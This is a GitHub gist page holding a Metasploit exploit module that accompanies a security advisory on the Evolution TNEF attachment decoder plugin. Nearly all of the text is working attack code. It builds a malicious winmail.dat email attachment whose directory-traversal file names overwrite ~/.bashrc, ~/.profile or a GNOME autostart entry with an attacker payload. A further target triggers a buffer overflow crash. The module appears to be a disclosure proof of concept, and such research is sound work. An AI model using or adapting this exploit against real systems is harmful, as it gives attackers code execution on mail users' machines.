yTNEF/Evolution TNEF Attachment decoder plugin directory traversal & buffer overflow vulnerabilities - proof of concept (https://www.akitasecurity.nl/advisory/AK20090601/ytnef_evolution_tnef_plugin_traversal___overflow_vulnerabilities.html)
require 'msf/core' | |
class Metasploit3 < Msf::Exploit::Remote | |
include Msf::Exploit::Remote::SMTPDeliver | |
def initialize(info = {}) | |
super(update_info(info, | |
'Name' => 'Evolution TNEF Attachment decoder plugin directory traversal and buffer overflow vulnerabilities', | |
'Description' => %q{ | |
The Evolution TNEF Attachment decoder plugin is affected by several | |
directory traversal and buffer overflow vulnerabilities. The directory | |
traversal vulnerabilities allow attackers to overwrite or create local | |
files with the privileges of the target user. Exploiting the buffer | |
overflow vulnerabilities allows for arbitrary code execution with the | |
privileges of the target user. | |
}, | |
'Author' => 'Yorick Koster <yorick@akitasecurity.nl>', | |
'Version' => '1', | |
'References' => | |
[ | |
['URL', 'http://www.akitasecurity.nl/advisory.php?id=AK20090601'], | |
], | |
'Platform' => ['unix', 'linux', 'bsd'], | |
'Arch' => ARCH_CMD, | |
'Handler' => Msf::Handler::None, | |
'Session' => Msf::Sessions::CommandShell, | |
'Targets' => | |
[ | |
['GNOME (~/.config/autostart/sploit.desktop)', {}], | |
['Bash (~/.bashrc)', {}], | |
['Shell (~/.profile)', {}], | |
['Crash Evolution', {}], | |
], | |
'DefaultTarget' => 0)) | |
register_options( | |
[ | |
OptString.new('MAILSUBJECT', [false, "The subject of the sent email"]) | |
], self.class) | |
end | |
def exploit | |
msg = Rex::MIME::Message.new | |
msg.mime_defaults | |
msg.subject = datastore['MAILSUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1) | |
msg.to = datastore['MAILTO'] | |
msg.from = datastore['MAILFROM'] | |
body = Rex::Text.encode_base64(create_tnef_exploit(payload), "\r\n") | |
content_type = "application/ms-tnef" | |
content_disposition = "attachment;\r\n\tname=\"winmail.dat\"" | |
msg.add_part(body, content_type, "base64", content_disposition) | |
send_message(msg.to_s) | |
end | |
def create_tnef_exploit(payload) | |
sploit = create_tnef_header | |
filename = "foobar.txt" | |
content = "" | |
if target.name =~ /Bash/ | |
filename = "/../../../../.bashrc\x00" | |
content = "\# ~/.bashrc: executed by bash(1) for non-login shells.\n\n" | |
content << "[ -z \"$PS1\" ] && return\n" | |
content << "export HISTCONTROL=ignoredups\n" | |
content << "export HISTCONTROL=ignoreboth\n" | |
content << "shopt -s checkwinsize\n" | |
content << "if [ -f /etc/bash_completion ]; then\n" | |
content << " . /etc/bash_completion\n" | |
content << "fi\n" | |
content << "\n#{payload.encoded}\n" | |
end | |
if target.name =~ /Shell/ | |
filename = "/../../../../.profile\x00" | |
content = "\# ~/.profile: executed by the command interpreter for login shells.\n\n" | |
content << "if [ -n \"$BASH_VERSION\" ]; then\n" | |
content << " if [ -f \"$HOME/.bashrc\" ]; then\n" | |
content << " . \"$HOME/.bashrc\"\n" | |
content << " fi\n" | |
content << "fi\n\n" | |
content << "if [ -d \"$HOME/bin\" ] ; then\n" | |
content << " PATH=\"$HOME/bin:$PATH\"\n" | |
content << "fi\n" | |
content << "\n#{payload.encoded}\n" | |
end | |
if target.name =~ /GNOME/ | |
filename = "/../../../../.config/autostart/sploit.desktop\x00" | |
content = "[Desktop Entry]\n" | |
content << "Version=1.0\n" | |
content << "Type=Application\n" | |
content << "Name=Sploit\n" | |
content << "Comment=\n" | |
content << "Exec=#{payload.encoded}\n" | |
content << "StartupNotify=false\n" | |
content << "Terminal=false\n" | |
content << "Hidden=false\n" | |
end | |
if target.name =~ /Crash/ | |
# triggers crash through an overly long vcard file name | |
sploit << "\x01" # Level type LVL_MESSAGE | |
sploit << "\x08\x80" # Name attMessageClass (0x8008) | |
sploit << "\x07\x00" # Type atpWord (0x0007) | |
sploit << "\x0c\x00\x00\x00" # Len 0x0000000c | |
sploit << "\x49\x50\x4d\x2e\x43\x6f\x6e\x74\x61\x63\x74\x00" # IPM.Contact | |
sploit << "\xe0\x03" # Checksum | |
subject = Rex::Text.rand_text_alpha(1023) | |
subject << "\x00" | |
sploit << "\x01" # Level type LVL_MESSAGE | |
sploit << "\x04\x80" # Name attSubject (0x8004) | |
sploit << "\x01\x00" # Type atpString (0x0001) | |
sploit << [subject.length].pack("V") # Len | |
sploit << subject | |
sploit << tnef_checksum(subject) # Checksum | |
return sploit | |
end | |
# start of TNEF attachment | |
sploit << "\x02" # Level type LVL_ATTACHMENT | |
sploit << "\x02\x90" # Name attAttachRenddata (0x9002) | |
sploit << "\x06\x00" # Type atpByte (0x0006) | |
sploit << "\x0e\x00\x00\x00" # Len 0x0000000e | |
sploit << "\x01\x00\xff\xff\xff\xff\x20\x00\x20\x00\x00\x00\x00\x00" | |
sploit << "\x3d\x04" # Checksum | |
sploit << "\x02" # Level type LVL_ATTACHMENT | |
sploit << "\x10\x80" # Name attAttachTitle (0x8010) | |
sploit << "\x01\x00" # Type atpString (0x0001) | |
sploit << [filename.length].pack("V") # Len | |
sploit << filename | |
sploit << tnef_checksum(filename) | |
sploit << "\x02" # Level type LVL_ATTACHMENT | |
sploit << "\x0f\x80" # Name attAttachData (0x800f) | |
sploit << "\x06\x00" # Type atpByte (0x0006) | |
sploit << [content.length].pack("V") # Len | |
sploit << content | |
sploit << tnef_checksum(content) | |
return sploit | |
end | |
def create_tnef_header | |
# TNEF Header | |
buf = "\x78\x9f\x3e\x22" # Signature 0x223e9f78 | |
buf << "\x00\x00" # Key | |
# TNEF Attributes | |
buf << "\x01" # Level type LVL_MESSAGE | |
buf << "\x06\x90" # Name attTnefVersion (0x9006) | |
buf << "\x08\x00" # Type atpDword (0x0008) | |
buf << "\x04\x00\x00\x00" # Len 0x00000004 | |
buf << "\x00\x00\x01\x00" | |
buf << "\x01\x00" # Checksum | |
buf << "\x01" # Level type LVL_MESSAGE | |
buf << "\x07\x90" # Name attOemCodepage (0x9007) | |
buf << "\x06\x00" # Type atpByte (0x0006) | |
buf << "\x08\x00\x00\x00" # Len 0x00000008 | |
buf << "\xe4\x04\x00\x00\x00\x00\x00\x00" | |
buf << "\xe8\x00" # Checksum | |
buf << "\x01" # Level type LVL_MESSAGE | |
buf << "\x0d\x80" # Name attPriority (0x800d) | |
buf << "\x04\x00" # Type atpShort (0x0004) | |
buf << "\x02\x00\x00\x00" # Len 0x00000002 | |
buf << "\x02\x00" | |
buf << "\x02\x00" # Checksum | |
return buf | |
end | |
def tnef_checksum(buf = '') | |
checksum = 0; | |
buf.each_byte { |b| | |
checksum += b | |
} | |
return [checksum % 65536].pack("v") | |
end | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment